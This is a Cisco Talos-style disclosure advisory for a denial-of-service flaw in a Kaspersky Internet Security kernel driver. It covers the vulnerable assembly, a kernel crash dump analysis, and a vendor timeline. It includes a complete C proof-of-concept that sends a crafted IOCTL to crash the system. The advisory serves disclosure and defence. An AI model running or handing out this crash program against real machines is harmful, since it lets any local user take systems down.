CVE-2016-4307
A denial of service vulnerability exists in the IOCTL handling functionality of Kaspersky Internet Security KL1 driver. A specially crafted IOCTL signal can cause an access violation in KL1 kernel driver resulting in local system denial of service. An attacker can run a program from user mode to trigger this vulnerability.
Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532
5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
This vulnerability can be triggered by sending a specially crafted IOCTL signal (0x222070) to KLBG device.
The faulting code is located in the KL1 hidden driver:
.text:00018D1A TutajCrash proc near ; CODE XREF: sub_18DA8+20p
.text:00018D1A ; sub_1F5B0+4Ap ...
.text:00018D1A
.text:00018D1A arg_0 = dword ptr 8
.text:00018D1A arg_4 = dword ptr 0Ch
.text:00018D1A arg_8 = dword ptr 10h
.text:00018D1A
.text:00018D1A mov edi, edi
.text:00018D1C push ebp
.text:00018D1D mov ebp, esp
.text:00018D1F push esi
.text:00018D20 mov esi, [ebp+arg_4]
.text:00018D23 xor eax, eax
.text:00018D25 mov ecx, esi ; ecx=7fffffff
.text:00018D27 test esi, esi
.text:00018D29 jz short loc_18D3C
.text:00018D2B mov edx, [ebp+arg_0]
.text:00018D2E
.text:00018D2E loc_18D2E: ; CODE XREF: TutajCrash+1Cj
.text:00018D2E cmp [edx], ax ; out of bound read - access violation
.text:00018D31 jz short loc_18D38
.text:00018D33 inc edx
.text:00018D34 inc edx
.text:00018D35 dec esi
.text:00018D36 jnz short loc_18D2E
.text:00018D38
.text:00018D38 loc_18D38: ; CODE XREF: TutajCrash+17j
.text:00018D38 test esi, esi
.text:00018D3A jnz short loc_18D41
.text:00018D3C
.text:00018D3C loc_18D3C: ; CODE XREF: TutajCrash+Fj
.text:00018D3C mov eax, 0C000000Dh
.text:00018D41
.text:00018D41 loc_18D41: ; CODE XREF: TutajCrash+20j
.text:00018D41 mov edx, [ebp+arg_8]
.text:00018D44 test edx, edx
.text:00018D46 jz short loc_18D55
.text:00018D48 test eax, eax
.text:00018D4A jl short loc_18D52
.text:00018D4C sub ecx, esi
.text:00018D4E mov [edx], ecx
.text:00018D50 jmp short loc_18D55
.text:00018D52 ; ---------------------------------------------------------------------------
.text:00018D52
.text:00018D52 loc_18D52: ; CODE XREF: TutajCrash+30j
.text:00018D52 and dword ptr [edx], 0
.text:00018D55
.text:00018D55 loc_18D55: ; CODE XREF: TutajCrash+2Cj
.text:00018D55 ; TutajCrash+36j
.text:00018D55 pop esi
.text:00018D56 pop ebp
.text:00018D57 retn 0Ch
.text:00018D57 TutajCrash endp
The instruction at 0x00018D2E is executed in a loop. The purpose of this loop is to calculate the input string length by scanning for a NULL character. However if the NULL character is not found in the supplied input string this loop will continue reading memory that exceeds the bounds of supplied buffer which in most of cases will cause a access violation and a system crash.
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: b9000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 8742bd2e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000002, (reserved)
Debugging Details:
------------------
READ_ADDRESS: b9000000
FAULTING_IP:
kl1+21d2e
8742bd2e 663902 cmp word ptr [edx],ax
MM_INTERNAL_CODE: 2
IMAGE_NAME: kl1.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 558314e0
MODULE_NAME: kl1
FAULTING_MODULE: 8740a000 kl1
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: poc_kaspersky1
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre
TRAP_FRAME: 8205f8d8 -- (.trap 0xffffffff8205f8d8)
ErrCode = 00000000
eax=00000000 ebx=93b00df8 ecx=7fffffff edx=b9000000 esi=7effffff edi=b7000000
eip=8742bd2e esp=8205f94c ebp=8205f950 iopl=0 nv up ei pl nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010216
kl1+0x21d2e:
8742bd2e 663902 cmp word ptr [edx],ax ds:0023:b9000000=????
Resetting default scope
LAST_CONTROL_TRANSFER: from 8292c083 to 828c8110
STACK_TEXT:
8205f424 8292c083 00000003 4c2a6b47 00000065 nt!RtlpBreakWithStatusInstruction
8205f474 8292cb81 00000003 00003ff8 b9000000 nt!KiBugCheckDebugBreak+0x1c
8205f838 828db41b 00000050 b9000000 00000000 nt!KeBugCheck2+0x68b
8205f8c0 8288e3d8 00000000 b9000000 00000000 nt!MmAccessFault+0x106
8205f8c0 8742bd2e 00000000 b9000000 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
8205f950 87432616 b7000000 7fffffff 8205f96c kl1+0x21d2e
8205f970 8742a7f5 00000014 8742e534 b7000000 kl1+0x28616
8205f9bc 8742aca8 93b00d88 93b00df8 93b00df8 kl1+0x207f5
8205f9d8 8740cb57 84b48678 00222070 855f05c0 kl1+0x20ca8
8205fa04 82884593 84b48678 93b00d88 93b00d88 kl1+0x2b57
8205fa1c 82a7899f 855f05c0 93b00d88 93b00df8 nt!IofCallDriver+0x63
8205fa3c 82a7bb71 84b48678 855f05c0 00000000 nt!IopSynchronousServiceTail+0x1f8
8205fad8 82ac23f4 84b48678 93b00d88 00000000 nt!IopXxxControlFile+0x6aa
8205fb0c 8c441204 00000038 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8205fb98 8c51805a 00000038 00000000 00000000 klif+0x20204
8205fbd0 8c519206 8c440dca 8205fc0c 00000028 klhk+0x105a
8205fbec 8c51801f 85fff8f8 8205fc0c 8205fc00 klhk+0x2206
8205fc04 8288b1ea 00000038 00000000 00000000 klhk+0x101f
8205fc04 777870b4 00000038 00000000 00000000 nt!KiFastCallEntry+0x12a
001af808 77785864 7593989d 00000038 00000000 ntdll!KiFastSystemCallRet
001af80c 7593989d 00000038 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
001af86c 75d5a671 00000038 00222070 02000000 KERNELBASE!DeviceIoControl+0xf6
001af898 011312f2 00000038 00222070 02000000 kernel32!DeviceIoControlImplementation+0x80
001afe1c 011323df 001afe30 75d63c45 7ffdc000 poc_kaspersky1+0x12f2
001afe24 75d63c45 7ffdc000 001afe70 777a37f5 poc_kaspersky1+0x23df
001afe30 777a37f5 7ffdc000 5e909af3 00000000 kernel32!BaseThreadInitThunk+0xe
001afe70 777a37c8 011323d0 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70
001afe88 00000000 011323d0 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: kb
FOLLOWUP_IP:
kl1+21d2e
8742bd2e 663902 cmp word ptr [edx],ax
SYMBOL_STACK_INDEX: 5
SYMBOL_NAME: kl1+21d2e
FOLLOWUP_NAME: MachineOwner
IMAGE_VERSION: 6.8.0.54
FAILURE_BUCKET_ID: 0x50_kl1+21d2e
BUCKET_ID: 0x50_kl1+21d2e
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:0x50_kl1+21d2e
FAILURE_ID_HASH: {528725d7-9a29-13f1-15aa-ffc775352f2e}
Followup: MachineOwner
---------
#include <stdio.h>
#include <windows.h>
int main(void)
{
HANDLE hDevice;
char dev[255];
DWORD out;
char outBuff[1024];
memset(outBuff, 'B', sizeof(outBuff));
_snprintf(dev, sizeof(dev), "\\\\.\\KLBG");
printf("Trying to open device: %s \r\n", dev);
hDevice = CreateFile(dev, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("Error: unable to open device, error = 0x%08x\r\n", GetLastError());
return 0;
}
printf("Device opened, handle = 0x%08x \r\n", hDevice);
#define M_SIZE 0x1ffffff // 1024*1024*10
BYTE *mem = (BYTE*)VirtualAlloc(0, M_SIZE, MEM_COMMIT, PAGE_READWRITE);
printf("mem_ptr = 0x%08x \r\n", mem);
if (!mem) exit(0);
memset(mem, 0xCC, M_SIZE);
BOOL st = DeviceIoControl(hDevice, 0x222070, (LPVOID)mem, M_SIZE,
(LPVOID)&outBuff,
sizeof(outBuff), &out,
NULL);
return 0;
}
2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure
Discovered by Piotr Bania of Cisco Talos.